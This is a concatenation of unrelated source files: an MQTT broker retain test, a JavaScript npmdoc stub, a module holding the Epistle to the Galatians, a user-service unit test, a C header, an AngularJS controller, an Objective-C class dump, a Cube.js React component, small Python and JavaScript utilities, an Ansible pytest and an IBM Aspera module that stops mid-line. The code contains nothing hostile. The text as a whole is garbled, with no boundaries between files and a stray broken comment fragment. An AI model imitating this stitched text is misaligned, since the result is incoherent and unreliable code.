#!/usr/bin/env python # Test whether a retained PUBLISH to a topic with QoS 1 is retained. # Subscription is made with QoS 0 so the retained message should also have QoS # 0. import subprocess import socket import time import inspect, os, sys # From http://stackoverflow.com/questions/279237/python-import-a-module-from-a-folder cmd_subfolder = os.path.realpath(os.path.abspath(os.path.join(os.path.split(inspect.getfile( inspect.currentframe() ))[0],".."))) if cmd_subfolder not in sys.path: sys.path.insert(0, cmd_subfolder) import mosq_test rc = 1 keepalive = 60 connect_packet = mosq_test.gen_connect("retain-qos1-test", keepalive=keepalive) connack_packet = mosq_test.gen_connack(rc=0) mid = 6 publish_packet = mosq_test.gen_publish("retain/qos1/test", qos=1, mid=mid, payload="retained message", retain=True) puback_packet = mosq_test.gen_puback(mid) mid = 18 subscribe_packet = mosq_test.gen_subscribe(mid, "retain/qos1/test", 0) suback_packet = mosq_test.gen_suback(mid, 0) publish0_packet = mosq_test.gen_publish("retain/qos1/test", qos=0, payload="retained message", retain=True) broker = subprocess.Popen(['../../src/mosquitto', '-p', '1888'], stderr=subprocess.PIPE) try: time.sleep(0.5) sock = mosq_test.do_client_connect(connect_packet, connack_packet) sock.send(publish_packet) if mosq_test.expect_packet(sock, "puback", puback_packet): sock.send(subscribe_packet) if mosq_test.expect_packet(sock, "suback", suback_packet): if mosq_test.expect_packet(sock, "publish0", publish0_packet): rc = 0 sock.close() finally: broker.terminate() broker.wait() if rc: (stdo, stde) = broker.communicate() print(stde) exit(rc)
/* istanbul instrument in package npmdoc_social_cms_backend */ /*jslint bitwise: true, browser: true, maxerr: 8, maxlen: 96, node: true, nomen: true, regexp: true, stupid: true */ (function () { 'use strict'; var local; // run shared js-env code - pre-init (function () { // init local local = {}; // init modeJs local.modeJs = (function () { try { return typeof navigator.userAgent === 'string' && typeof document.querySelector('body') === 'object' && typeof XMLHttpRequest.prototype.open === 'function' && 'browser'; } catch (errorCaughtBrowser) { return module.exports && typeof process.versions.node === 'string' && typeof require('http').createServer === 'function' && 'node'; } }()); // init global local.global = local.modeJs === 'browser' ? window : global; // init utility2_rollup local = local.global.utility2_rollup || local; // init lib local.local = local.npmdoc_social_cms_backend = local; // init exports if (local.modeJs === 'browser') { local.global.utility2_npmdoc_social_cms_backend = local; } else { module.exports = local; module.exports.__dirname = __dirname; module.exports.module = module; } }()); }());
var book = { "name": "Galatians", "numChapters": 6, "chapters": { "1": { "1": "<sup>1</sup> Paul, an apostle (not from men nor through man, but through Jesus Christ and God the Father who raised Him from the dead),", "2": "<sup>2</sup> and all the brethren who are with me, To the churches of Galatia:", "3": "<sup>3</sup> Grace to you and peace from God the Father and our Lord Jesus Christ,", "4": "<sup>4</sup> who gave Himself for our sins, that He might deliver us from this present evil age, according to the will of our God and Father,", "5": "<sup>5</sup> to whom be glory forever and ever. Amen.", "6": "<sup>6</sup> I marvel that you are turning away so soon from Him who called you in the grace of Christ, to a different gospel,", "7": "<sup>7</sup> which is not another; but there are some who trouble you and want to pervert the gospel of Christ.", "8": "<sup>8</sup> But even if we, or an angel from heaven, preach any other gospel to you than what we have preached to you, let him be accursed.", "9": "<sup>9</sup> As we have said before, so now I say again, if anyone preaches any other gospel to you than what you have received, let him be accursed.", "10": "<sup>10</sup> For do I now persuade men, or God? Or do I seek to please men? For if I still pleased men, I would not be a bondservant of Christ.", "11": "<sup>11</sup> But I make known to you, brethren, that the gospel which was preached by me is not according to man.", "12": "<sup>12</sup> For I neither received it from man, nor was I taught it, but it came through the revelation of Jesus Christ.", "13": "<sup>13</sup> For you have heard of my former conduct in Judaism, how I persecuted the church of God beyond measure and tried to destroy it.", "14": "<sup>14</sup> And I advanced in Judaism beyond many of my contemporaries in my own nation, being more exceedingly zealous for the traditions of my fathers.", "15": "<sup>15</sup> But when it pleased God, who separated me from my mother’s womb and called me through His grace,", "16": "<sup>16</sup> to reveal His Son in me, that I might preach Him among the Gentiles, I did not immediately confer with flesh and blood,", "17": "<sup>17</sup> nor did I go up to Jerusalem to those who were apostles before me; but I went to Arabia, and returned again to Damascus.", "18": "<sup>18</sup> Then after three years I went up to Jerusalem to see Peter, and remained with him fifteen days.", "19": "<sup>19</sup> But I saw none of the other apostles except James, the Lord’s brother.", "20": "<sup>20</sup> (Now concerning the things which I write to you, indeed, before God, I do not lie.)", "21": "<sup>21</sup> Afterward I went into the regions of Syria and Cilicia.", "22": "<sup>22</sup> And I was unknown by face to the churches of Judea which were in Christ.", "23": "<sup>23</sup> But they were hearing only, “He who formerly persecuted us now preaches the faith which he once tried to destroy.”", "24": "<sup>24</sup> And they glorified God in me." }, "2": { "1": "<sup>1</sup> Then after fourteen years I went up again to Jerusalem with Barnabas, and also took Titus with me.", "2": "<sup>2</sup> And I went up by revelation, and communicated to them that gospel which I preach among the Gentiles, but privately to those who were of reputation, lest by any means I might run, or had run, in vain.", "3": "<sup>3</sup> Yet not even Titus who was with me, being a Greek, was compelled to be circumcised.", "4": "<sup>4</sup> And this occurred because of false brethren secretly brought in (who came in by stealth to spy out our liberty which we have in Christ Jesus, that they might bring us into bondage),", "5": "<sup>5</sup> to whom we did not yield submission even for an hour, that the truth of the gospel might continue with you.", "6": "<sup>6</sup> But from those who seemed to be something—whatever they were, it makes no difference to me; God shows personal favoritism to no man—for those who seemed to be something added nothing to me.", "7": "<sup>7</sup> But on the contrary, when they saw that the gospel for the uncircumcised had been committed to me, as the gospel for the circumcised was to Peter", "8": "<sup>8</sup> (for He who worked effectively in Peter for the apostleship to the circumcised also worked effectively in me toward the Gentiles),", "9": "<sup>9</sup> and when James, Cephas, and John, who seemed to be pillars, perceived the grace that had been given to me, they gave me and Barnabas the right hand of fellowship, that we should go to the Gentiles and they to the circumcised.", "10": "<sup>10</sup> They desired only that we should remember the poor, the very thing which I also was eager to do.", "11": "<sup>11</sup> Now when Peter had come to Antioch, I withstood him to his face, because he was to be blamed;", "12": "<sup>12</sup> for before certain men came from James, he would eat with the Gentiles; but when they came, he withdrew and separated himself, fearing those who were of the circumcision.", "13": "<sup>13</sup> And the rest of the Jews also played the hypocrite with him, so that even Barnabas was carried away with their hypocrisy.", "14": "<sup>14</sup> But when I saw that they were not straightforward about the truth of the gospel, I said to Peter before them all, “If you, being a Jew, live in the manner of Gentiles and not as the Jews, why do you compel Gentiles to live as Jews?", "15": "<sup>15</sup> We who are Jews by nature, and not sinners of the Gentiles,", "16": "<sup>16</sup> knowing that a man is not justified by the works of the law but by faith in Jesus Christ, even we have believed in Christ Jesus, that we might be justified by faith in Christ and not by the works of the law; for by the works of the law no flesh shall be justified.", "17": "<sup>17</sup> “But if, while we seek to be justified by Christ, we ourselves also are found sinners, is Christ therefore a minister of sin? Certainly not!", "18": "<sup>18</sup> For if I build again those things which I destroyed, I make myself a transgressor.", "19": "<sup>19</sup> For I through the law died to the law that I might live to God.", "20": "<sup>20</sup> I have been crucified with Christ; it is no longer I who live, but Christ lives in me; and the life which I now live in the flesh I live by faith in the Son of God, who loved me and gave Himself for me.", "21": "<sup>21</sup> I do not set aside the grace of God; for if righteousness comes through the law, then Christ died in vain.”" }, "3": { "1": "<sup>1</sup> O foolish Galatians! Who has bewitched you that you should not obey the truth, before whose eyes Jesus Christ was clearly portrayed among you as crucified?", "2": "<sup>2</sup> This only I want to learn from you: Did you receive the Spirit by the works of the law, or by the hearing of faith?", "3": "<sup>3</sup> Are you so foolish? Having begun in the Spirit, are you now being made perfect by the flesh?", "4": "<sup>4</sup> Have you suffered so many things in vain—if indeed it was in vain?", "5": "<sup>5</sup> Therefore He who supplies the Spirit to you and works miracles among you, does He do it by the works of the law, or by the hearing of faith?—", "6": "<sup>6</sup> just as Abraham “believed God, and it was accounted to him for righteousness.”", "7": "<sup>7</sup> Therefore know that only those who are of faith are sons of Abraham.", "8": "<sup>8</sup> And the Scripture, foreseeing that God would justify the Gentiles by faith, preached the gospel to Abraham beforehand, saying, “In you all the nations shall be blessed.”", "9": "<sup>9</sup> So then those who are of faith are blessed with believing Abraham.", "10": "<sup>10</sup> For as many as are of the works of the law are under the curse; for it is written, “Cursed is everyone who does not continue in all things which are written in the book of the law, to do them.”", "11": "<sup>11</sup> But that no one is justified by the law in the sight of God is evident, for “the just shall live by faith.”", "12": "<sup>12</sup> Yet the law is not of faith, but “the man who does them shall live by them.”", "13": "<sup>13</sup> Christ has redeemed us from the curse of the law, having become a curse for us (for it is written, “Cursed is everyone who hangs on a tree”),", "14": "<sup>14</sup> that the blessing of Abraham might come upon the Gentiles in Christ Jesus, that we might receive the promise of the Spirit through faith.", "15": "<sup>15</sup> Brethren, I speak in the manner of men: Though it is only a man’s covenant, yet if it is confirmed, no one annuls or adds to it.", "16": "<sup>16</sup> Now to Abraham and his Seed were the promises made. He does not say, “And to seeds,” as of many, but as of one, “And to your Seed,” who is Christ.", "17": "<sup>17</sup> And this I say, that the law, which was four hundred and thirty years later, cannot annul the covenant that was confirmed before by God in Christ, that it should make the promise of no effect.", "18": "<sup>18</sup> For if the inheritance is of the law, it is no longer of promise; but God gave it to Abraham by promise.", "19": "<sup>19</sup> What purpose then does the law serve? It was added because of transgressions, till the Seed should come to whom the promise was made; and it was appointed through angels by the hand of a mediator.", "20": "<sup>20</sup> Now a mediator does not mediate for one only, but God is one.", "21": "<sup>21</sup> Is the law then against the promises of God? Certainly not! For if there had been a law given which could have given life, truly righteousness would have been by the law.", "22": "<sup>22</sup> But the Scripture has confined all under sin, that the promise by faith in Jesus Christ might be given to those who believe.", "23": "<sup>23</sup> But before faith came, we were kept under guard by the law, kept for the faith which would afterward be revealed.", "24": "<sup>24</sup> Therefore the law was our tutor to bring us to Christ, that we might be justified by faith.", "25": "<sup>25</sup> But after faith has come, we are no longer under a tutor.", "26": "<sup>26</sup> For you are all sons of God through faith in Christ Jesus.", "27": "<sup>27</sup> For as many of you as were baptized into Christ have put on Christ.", "28": "<sup>28</sup> There is neither Jew nor Greek, there is neither slave nor free, there is neither male nor female; for you are all one in Christ Jesus.", "29": "<sup>29</sup> And if you are Christ’s, then you are Abraham’s seed, and heirs according to the promise." }, "4": { "1": "<sup>1</sup> Now I say that the heir, as long as he is a child, does not differ at all from a slave, though he is master of all,", "2": "<sup>2</sup> but is under guardians and stewards until the time appointed by the father.", "3": "<sup>3</sup> Even so we, when we were children, were in bondage under the elements of the world.", "4": "<sup>4</sup> But when the fullness of the time had come, God sent forth His Son, born of a woman, born under the law,", "5": "<sup>5</sup> to redeem those who were under the law, that we might receive the adoption as sons.", "6": "<sup>6</sup> And because you are sons, God has sent forth the Spirit of His Son into your hearts, crying out, “Abba, Father!”", "7": "<sup>7</sup> Therefore you are no longer a slave but a son, and if a son, then an heir of God through Christ.", "8": "<sup>8</sup> But then, indeed, when you did not know God, you served those which by nature are not gods.", "9": "<sup>9</sup> But now after you have known God, or rather are known by God, how is it that you turn again to the weak and beggarly elements, to which you desire again to be in bondage?", "10": "<sup>10</sup> You observe days and months and seasons and years.", "11": "<sup>11</sup> I am afraid for you, lest I have labored for you in vain.", "12": "<sup>12</sup> Brethren, I urge you to become like me, for I became like you. You have not injured me at all.", "13": "<sup>13</sup> You know that because of physical infirmity I preached the gospel to you at the first.", "14": "<sup>14</sup> And my trial which was in my flesh you did not despise or reject, but you received me as an angel of God, even as Christ Jesus.", "15": "<sup>15</sup> What then was the blessing you enjoyed? For I bear you witness that, if possible, you would have plucked out your own eyes and given them to me.", "16": "<sup>16</sup> Have I therefore become your enemy because I tell you the truth?", "17": "<sup>17</sup> They zealously court you, but for no good; yes, they want to exclude you, that you may be zealous for them.", "18": "<sup>18</sup> But it is good to be zealous in a good thing always, and not only when I am present with you.", "19": "<sup>19</sup> My little children, for whom I labor in birth again until Christ is formed in you,", "20": "<sup>20</sup> I would like to be present with you now and to change my tone; for I have doubts about you.", "21": "<sup>21</sup> Tell me, you who desire to be under the law, do you not hear the law?", "22": "<sup>22</sup> For it is written that Abraham had two sons: the one by a bondwoman, the other by a freewoman.", "23": "<sup>23</sup> But he who was of the bondwoman was born according to the flesh, and he of the freewoman through promise,", "24": "<sup>24</sup> which things are symbolic. For these are the two covenants: the one from Mount Sinai which gives birth to bondage, which is Hagar—", "25": "<sup>25</sup> for this Hagar is Mount Sinai in Arabia, and corresponds to Jerusalem which now is, and is in bondage with her children—", "26": "<sup>26</sup> but the Jerusalem above is free, which is the mother of us all.", "27": "<sup>27</sup> For it is written: “Rejoice, O barren, You who do not bear! Break forth and shout, You who are not in labor! For the desolate has many more children Than she who has a husband.”", "28": "<sup>28</sup> Now we, brethren, as Isaac was, are children of promise.", "29": "<sup>29</sup> But, as he who was born according to the flesh then persecuted him who was born according to the Spirit, even so it is now.", "30": "<sup>30</sup> Nevertheless what does the Scripture say? “Cast out the bondwoman and her son, for the son of the bondwoman shall not be heir with the son of the freewoman.”", "31": "<sup>31</sup> So then, brethren, we are not children of the bondwoman but of the free." }, "5": { "1": "<sup>1</sup> Stand fast therefore in the liberty by which Christ has made us free, and do not be entangled again with a yoke of bondage.", "2": "<sup>2</sup> Indeed I, Paul, say to you that if you become circumcised, Christ will profit you nothing.", "3": "<sup>3</sup> And I testify again to every man who becomes circumcised that he is a debtor to keep the whole law.", "4": "<sup>4</sup> You have become estranged from Christ, you who attempt to be justified by law; you have fallen from grace.", "5": "<sup>5</sup> For we through the Spirit eagerly wait for the hope of righteousness by faith.", "6": "<sup>6</sup> For in Christ Jesus neither circumcision nor uncircumcision avails anything, but faith working through love.", "7": "<sup>7</sup> You ran well. Who hindered you from obeying the truth?", "8": "<sup>8</sup> This persuasion does not come from Him who calls you.", "9": "<sup>9</sup> A little leaven leavens the whole lump.", "10": "<sup>10</sup> I have confidence in you, in the Lord, that you will have no other mind; but he who troubles you shall bear his judgment, whoever he is.", "11": "<sup>11</sup> And I, brethren, if I still preach circumcision, why do I still suffer persecution? Then the offense of the cross has ceased.", "12": "<sup>12</sup> I could wish that those who trouble you would even cut themselves off!", "13": "<sup>13</sup> For you, brethren, have been called to liberty; only do not use liberty as an opportunity for the flesh, but through love serve one another.", "14": "<sup>14</sup> For all the law is fulfilled in one word, even in this: “You shall love your neighbor as yourself.”", "15": "<sup>15</sup> But if you bite and devour one another, beware lest you be consumed by one another!", "16": "<sup>16</sup> I say then: Walk in the Spirit, and you shall not fulfill the lust of the flesh.", "17": "<sup>17</sup> For the flesh lusts against the Spirit, and the Spirit against the flesh; and these are contrary to one another, so that you do not do the things that you wish.", "18": "<sup>18</sup> But if you are led by the Spirit, you are not under the law.", "19": "<sup>19</sup> Now the works of the flesh are evident, which are: adultery, fornication, uncleanness, lewdness,", "20": "<sup>20</sup> idolatry, sorcery, hatred, contentions, jealousies, outbursts of wrath, selfish ambitions, dissensions, heresies,", "21": "<sup>21</sup> envy, murders, drunkenness, revelries, and the like; of which I tell you beforehand, just as I also told you in time past, that those who practice such things will not inherit the kingdom of God.", "22": "<sup>22</sup> But the fruit of the Spirit is love, joy, peace, longsuffering, kindness, goodness, faithfulness,", "23": "<sup>23</sup> gentleness, self-control. Against such there is no law.", "24": "<sup>24</sup> And those who are Christ’s have crucified the flesh with its passions and desires.", "25": "<sup>25</sup> If we live in the Spirit, let us also walk in the Spirit.", "26": "<sup>26</sup> Let us not become conceited, provoking one another, envying one another." }, "6": { "1": "<sup>1</sup> Brethren, if a man is overtaken in any trespass, you who are spiritual restore such a one in a spirit of gentleness, considering yourself lest you also be tempted.", "2": "<sup>2</sup> Bear one another’s burdens, and so fulfill the law of Christ.", "3": "<sup>3</sup> For if anyone thinks himself to be something, when he is nothing, he deceives himself.", "4": "<sup>4</sup> But let each one examine his own work, and then he will have rejoicing in himself alone, and not in another.", "5": "<sup>5</sup> For each one shall bear his own load.", "6": "<sup>6</sup> Let him who is taught the word share in all good things with him who teaches.", "7": "<sup>7</sup> Do not be deceived, God is not mocked; for whatever a man sows, that he will also reap.", "8": "<sup>8</sup> For he who sows to his flesh will of the flesh reap corruption, but he who sows to the Spirit will of the Spirit reap everlasting life.", "9": "<sup>9</sup> And let us not grow weary while doing good, for in due season we shall reap if we do not lose heart.", "10": "<sup>10</sup> Therefore, as we have opportunity, let us do good to all, especially to those who are of the household of faith.", "11": "<sup>11</sup> See with what large letters I have written to you with my own hand!", "12": "<sup>12</sup> As many as desire to make a good showing in the flesh, these would compel you to be circumcised, only that they may not suffer persecution for the cross of Christ.", "13": "<sup>13</sup> For not even those who are circumcised keep the law, but they desire to have you circumcised that they may boast in your flesh.", "14": "<sup>14</sup> But God forbid that I should boast except in the cross of our Lord Jesus Christ, by whom the world has been crucified to me, and I to the world.", "15": "<sup>15</sup> For in Christ Jesus neither circumcision nor uncircumcision avails anything, but a new creation.", "16": "<sup>16</sup> And as many as walk according to this rule, peace and mercy be upon them, and upon the Israel of God.", "17": "<sup>17</sup> From now on let no one trouble me, for I bear in my body the marks of the Lord Jesus.", "18": "<sup>18</sup> Brethren, the grace of our Lord Jesus Christ be with your spirit. Amen." } } }; module.exports = book;
"use strict"; var assert = require('assert'); const cache = require('../../services/cacheService')(); const userService = require('../../services/userService')(cache); //Room service unit-testing describe('User Service:', function () { describe('Cache Service usage:', function () { it('Create a new user', function () { userService.getOrCreateUser('user1','password1',function (err, value) { assert(!err); assert(value.username == 'user1'); }); }); it('Retrieve same user', function () { userService.getOrCreateUser('user1','password1',function (err, value) { assert(!err); assert(value.username == 'user1'); }); }); it('Fail get user with wrong password', function () { userService.getOrCreateUser('user1','password2',function (err, value) { assert(err); }); }); }); });
#ifndef STDAFX_H #define STDAFX_H #include "../SDK/Core/Utils/LoggerBase.h" #include "../SDK/Platform.h" #include <al.h> #include <alc.h> #pragma comment (lib, "OpenAL32.lib") #endif
# whether or not to include evaluation info INCLUDE_EVAL = True # count threshold to include in the "count detail" graphs GRAPH_THRESHOLD = 100 # whether to include results with no forms in the graphs. INCLUDE_EMPTIES_IN_GRAPH = False
// blank controller skin_laser_center.controller('SkinLaserCenterServiceController', SkinLaserCenterServiceController); function SkinLaserCenterServiceController($scope, $http) { // var hospital_id = document.getElementsByName('hospital_id')[0].value; // console.log(hospital_id); $http .get(window.location.origin+"/service/api/list", { transformRequest: angular.identity, headers: {'Content-Type': undefined, 'Process-Data': false} }) .then(function(response){ data = response.data; $('#service_id').kendoDropDownList({ optionLabel : "Select Service", dataTextField: "text", dataValueField: "value", dataSource: data, dataType: "jsonp", index: 0 }); // var dropdownlist = $("#service_id").data("kendoDropDownList"); // dropdownlist.value(selected_service); }); $scope.getSubservice = function() { var value = $("#service_id").data("kendoDropDownList").value(); console.log(value); $http .get(window.location.origin+"/service/sub-service/api/list/" + value, { transformRequest: angular.identity, headers: {'Content-Type': undefined, 'Process-Data': false} }) .then(function(response){ data = response.data; console.log(data); $('#subservice_id').kendoDropDownList({ optionLabel : "Select Sub-service", dataTextField: "text", dataValueField: "value", dataSource: data, dataType: "jsonp", index: 0 }); }); } }
// // Generated by class-dump 3.5 (64 bit) (Debug version compiled Sep 17 2017 16:24:48). // // class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2015 by Steve Nygard. // #import <UIKit/UIView.h> #import "UICollectionViewDataSource-Protocol.h" #import "UICollectionViewDelegate-Protocol.h" #import "UICollectionViewDelegateFlowLayout-Protocol.h" #import "UIGestureRecognizerDelegate-Protocol.h" @class NSArray, NSMutableArray, NSString, O2OCommentCraftsmanModel, UICollectionView, UILabel; @protocol O2OCommentCraftsmanViewDelegate; @interface O2OCommentCraftsmanView : UIView <UICollectionViewDelegate, UICollectionViewDataSource, UICollectionViewDelegateFlowLayout, UIGestureRecognizerDelegate> { long long _currentIndex; long long _preIndex; long long _clickItemIndex; id <O2OCommentCraftsmanViewDelegate> _delegate; NSString *_shopId; NSArray *_craftsmanInfos; O2OCommentCraftsmanModel *_selectedModel; UICollectionView *_collectionView; UILabel *_titleLabel; NSMutableArray *_itemArrays; } @property(retain, nonatomic) NSMutableArray *itemArrays; // @synthesize itemArrays=_itemArrays; @property(retain, nonatomic) UILabel *titleLabel; // @synthesize titleLabel=_titleLabel; @property(retain, nonatomic) UICollectionView *collectionView; // @synthesize collectionView=_collectionView; @property(retain, nonatomic) O2OCommentCraftsmanModel *selectedModel; // @synthesize selectedModel=_selectedModel; @property(retain, nonatomic) NSArray *craftsmanInfos; // @synthesize craftsmanInfos=_craftsmanInfos; @property(retain, nonatomic) NSString *shopId; // @synthesize shopId=_shopId; @property(nonatomic) __weak id <O2OCommentCraftsmanViewDelegate> delegate; // @synthesize delegate=_delegate; - (void).cxx_destruct; - (void)collectionView:(id)arg1 didSelectItemAtIndexPath:(id)arg2; - (id)collectionView:(id)arg1 cellForItemAtIndexPath:(id)arg2; - (long long)collectionView:(id)arg1 numberOfItemsInSection:(long long)arg2; - (id)initWithWidth:(struct CGSize)arg1 title:(id)arg2 background:(id)arg3 viewController:(id)arg4; // Remaining properties @property(readonly, copy) NSString *debugDescription; @property(readonly, copy) NSString *description; @property(readonly) unsigned long long hash; @property(readonly) Class superclass; @end
/* /* if(foo) {}
import { useState, useRef, useEffect } from 'react'; import { Col, Row, Divider } from 'antd'; import { LockOutlined } from '@ant-design/icons'; import { QueryBuilder, useDryRun } from '@cubejs-client/react'; import styled from 'styled-components'; import { playgroundAction } from './events'; import MemberGroup from './QueryBuilder/MemberGroup'; import FilterGroup from './QueryBuilder/FilterGroup'; import TimeGroup from './QueryBuilder/TimeGroup'; import SelectChartType from './QueryBuilder/SelectChartType'; import Settings from './components/Settings/Settings'; import ChartRenderer from './components/ChartRenderer/ChartRenderer'; import { Card, SectionHeader, SectionRow, Button } from './components'; import ChartContainer from './ChartContainer'; import { dispatchPlaygroundEvent } from './utils'; import { useSecurityContext } from './hooks'; import { FatalError } from './atoms'; const Section = styled.div` display: flex; flex-flow: column; margin-right: 24px; margin-bottom: 16px; > *:first-child { margin-bottom: 8px; } `; export const frameworkChartLibraries = { react: [ { value: 'bizcharts', title: 'Bizcharts', }, { value: 'recharts', title: 'Recharts', }, { value: 'd3', title: 'D3', }, { value: 'chartjs', title: 'Chart.js', }, ], angular: [ { value: 'angular-ng2-charts', title: 'ng2', }, ], }; const playgroundActionUpdateMethods = (updateMethods, memberName) => Object.keys(updateMethods) .map((method) => ({ [method]: (member, values, ...rest) => { let actionName = `${method .split('') .map((c, i) => (i === 0 ? c.toUpperCase() : c)) .join('')} Member`; if (values && values.values) { actionName = 'Update Filter Values'; } if (values && values.dateRange) { actionName = 'Update Date Range'; } if (values && values.granularity) { actionName = 'Update Granularity'; } playgroundAction(actionName, { memberName }); return updateMethods[method].apply(null, [member, values, ...rest]); }, })) .reduce((a, b) => ({ ...a, ...b }), {}); function SchemaRefresher({ schemaVersion, refresh }) { useEffect(() => { if (schemaVersion > 0) { refresh(); } }, [schemaVersion, refresh]); return null; } export default function PlaygroundQueryBuilder({ query = {}, apiUrl, cubejsToken, setQuery, dashboardSource, schemaVersion = 0, }) { const ref = useRef(null); const [framework, setFramework] = useState('react'); const [chartingLibrary, setChartingLibrary] = useState('bizcharts'); const [isChartRendererReady, setChartRendererReady] = useState(false); const { token, setIsModalOpen } = useSecurityContext(); useEffect(() => { if (isChartRendererReady && ref.current) { dispatchPlaygroundEvent(ref.current.contentDocument, 'credentials', { token: cubejsToken, apiUrl, }); } }, [ref, cubejsToken, apiUrl, isChartRendererReady]); const { response } = useDryRun(query, { skip: typeof query.timeDimensions?.[0]?.dateRange !== 'string', }); let parsedDateRange; if (response) { const { timeDimensions = [] } = response.pivotQuery || {}; parsedDateRange = timeDimensions[0]?.dateRange; } else if (Array.isArray(query.timeDimensions?.[0]?.dateRange)) { parsedDateRange = query.timeDimensions[0].dateRange; } return ( <QueryBuilder query={query} setQuery={setQuery} wrapWithQueryRenderer={false} render={({ error, metaError, isQueryPresent, chartType, updateChartType, measures, availableMeasures, updateMeasures, dimensions, availableDimensions, updateDimensions, segments, availableSegments, updateSegments, filters, updateFilters, timeDimensions, availableTimeDimensions, updateTimeDimensions, orderMembers, updateOrder, pivotConfig, updatePivotConfig, missingMembers, refresh, }) => { return ( <> <Row> <Col span={24}> <Card bordered={false} style={{ borderRadius: 0, borderBottom: 1, }} > <Button.Group> <Button icon={<LockOutlined />} size="small" type={token ? 'primary' : 'default'} onClick={() => setIsModalOpen(true)} > {token ? 'Edit' : 'Add'} Security Context </Button> </Button.Group> </Card> </Col> </Row> <Divider style={{ margin: 0 }} /> <Row justify="space-around" align="top" gutter={24} style={{ marginBottom: 12 }} > <Col span={24}> <Card bordered={false} style={{ borderRadius: 0 }}> <Row align="top" gutter={0} style={{ marginBottom: -12 }}> <Section> <SectionHeader>Measures</SectionHeader> <MemberGroup members={measures} availableMembers={availableMeasures} missingMembers={missingMembers} addMemberName="Measure" updateMethods={playgroundActionUpdateMethods( updateMeasures, 'Measure' )} /> </Section> <Section> <SectionHeader>Dimensions</SectionHeader> <MemberGroup members={dimensions} availableMembers={availableDimensions} missingMembers={missingMembers} addMemberName="Dimension" updateMethods={playgroundActionUpdateMethods( updateDimensions, 'Dimension' )} /> </Section> <Section> <SectionHeader>Segment</SectionHeader> <MemberGroup members={segments} availableMembers={availableSegments} missingMembers={missingMembers} addMemberName="Segment" updateMethods={playgroundActionUpdateMethods( updateSegments, 'Segment' )} /> </Section> <Section> <SectionHeader>Time</SectionHeader> <TimeGroup members={timeDimensions} availableMembers={availableTimeDimensions} missingMembers={missingMembers} addMemberName="Time" updateMethods={playgroundActionUpdateMethods( updateTimeDimensions, 'Time' )} parsedDateRange={parsedDateRange} /> </Section> <Section> <SectionHeader>Filters</SectionHeader> <FilterGroup members={filters} availableMembers={availableDimensions.concat( availableMeasures )} missingMembers={missingMembers} addMemberName="Filter" updateMethods={playgroundActionUpdateMethods( updateFilters, 'Filter' )} /> </Section> </Row> </Card> <SectionRow style={{ marginTop: 16, marginLeft: 16 }}> <SelectChartType chartType={chartType} updateChartType={(type) => { playgroundAction('Change Chart Type'); updateChartType(type); }} /> <Settings isQueryPresent={isQueryPresent} limit={query.limit} pivotConfig={pivotConfig} orderMembers={orderMembers} onReorder={updateOrder.reorder} onOrderChange={updateOrder.set} onMove={updatePivotConfig.moveItem} onUpdate={updatePivotConfig.update} /> </SectionRow> </Col> </Row> <Row justify="space-around" align="top" gutter={24} style={{ marginRight: 0, marginLeft: 0, }} > <Col span={24} style={{ paddingLeft: 16, paddingRight: 16, }} > {!isQueryPresent && metaError ? ( <Card> <FatalError error={metaError} /> </Card> ) : null} {!isQueryPresent && !metaError && ( <h2 style={{ textAlign: 'center' }}> Choose a measure or dimension to get started </h2> )} {isQueryPresent && ( <ChartContainer apiUrl={apiUrl} cubejsToken={cubejsToken} iframeRef={ref} isChartRendererReady={isChartRendererReady} query={query} error={error} chartType={chartType} pivotConfig={pivotConfig} framework={framework} chartingLibrary={chartingLibrary} setFramework={setFramework} setChartLibrary={(value) => { if (ref.current) { dispatchPlaygroundEvent( ref.current.contentDocument, 'chart', { chartingLibrary: value, } ); } setChartingLibrary(value); }} chartLibraries={frameworkChartLibraries} dashboardSource={dashboardSource} render={({ framework }) => { if (metaError) { return <FatalError error={metaError} />; } return ( <ChartRenderer isChartRendererReady={isChartRendererReady} framework={framework} chartingLibrary={chartingLibrary} chartType={chartType} query={query} pivotConfig={pivotConfig} iframeRef={ref} queryHasMissingMembers={missingMembers.length > 0} onChartRendererReadyChange={setChartRendererReady} /> ); }} onChartRendererReadyChange={setChartRendererReady} /> )} </Col> </Row> <SchemaRefresher schemaVersion={schemaVersion} refresh={refresh} /> </> ); }} /> ); }
import webbrowser as wb class Movie(): """ This class provides a way to store movie information. """ ratings = ['G', 'PG', 'PG-13', 'R'] def __init__(self, title, storyline, poster_image_url, trailer_youtube_url): self.title = title self.storyline = storyline self.poster_image_url = poster_image_url self.trailer_youtube_url = trailer_youtube_url def show_trailer(self): wb.open(self.trailer_youtube_url)
function innerRanges(nums, l, r) { const result = []; const format = function(a,b) { if (a <= b) { result.push(a < b ? `${a}->${b}` : `${a}`); } } nums.forEach(n => { if (l < n) { format(l, n - 1); } l = 1 + n; }); format(l, r); return result; }
# -*- coding: utf-8 -*- # Copyright: (c) 2020, Andrew Klychkov (@Andersson007) <[email protected]> from __future__ import (absolute_import, division, print_function) __metaclass__ = type import pytest from ansible_collections.community.mysql.plugins.module_utils.implementations.mariadb.replication import uses_replica_terminology from ..utils import dummy_cursor_class @pytest.mark.parametrize( 'f_output,c_output,c_ret_type', [ (False, '10.5.0-mariadb', 'dict'), (True, '10.5.1-mariadb', 'dict'), (True, '10.6.0-mariadb', 'dict'), (True, '11.5.1-mariadb', 'dict'), ] ) def test_uses_replica_terminology(f_output, c_output, c_ret_type): cursor = dummy_cursor_class(c_output, c_ret_type) assert uses_replica_terminology(cursor) == f_output
# Copyright 2018 IBM Corp. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"). # You may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import functools import logging import os import threading import time from ibm_s3transfer.aspera.exceptions import * from ibm_s3transfer.futures import TransferMeta from ibm_s3transfer.exceptions import CancelledError, TransferNotDoneError from ibm_s3transfer.compat import MAXINT try: from cos_aspera import faspmanager2 faspmanager2.configureAsperaLocation(os.path.dirname(faspmanager2.__file__)) except ImportError: raise ImportError("Aspera SDK not installed") logger = logging.getLogger("ibmcos.aspera") class enumAsperaMsgType(): ''' enum class - valid message types received in the Aspera callback ''' INIT = "INIT" SESSION = "SESSION" NOTIFICATION = "NOTIFICATION" STATS = "STATS" ARGSTOP = "ARGSTOP" STOP = "STOP" DONE = "DONE" ERROR = "ERROR" FILEERROR = 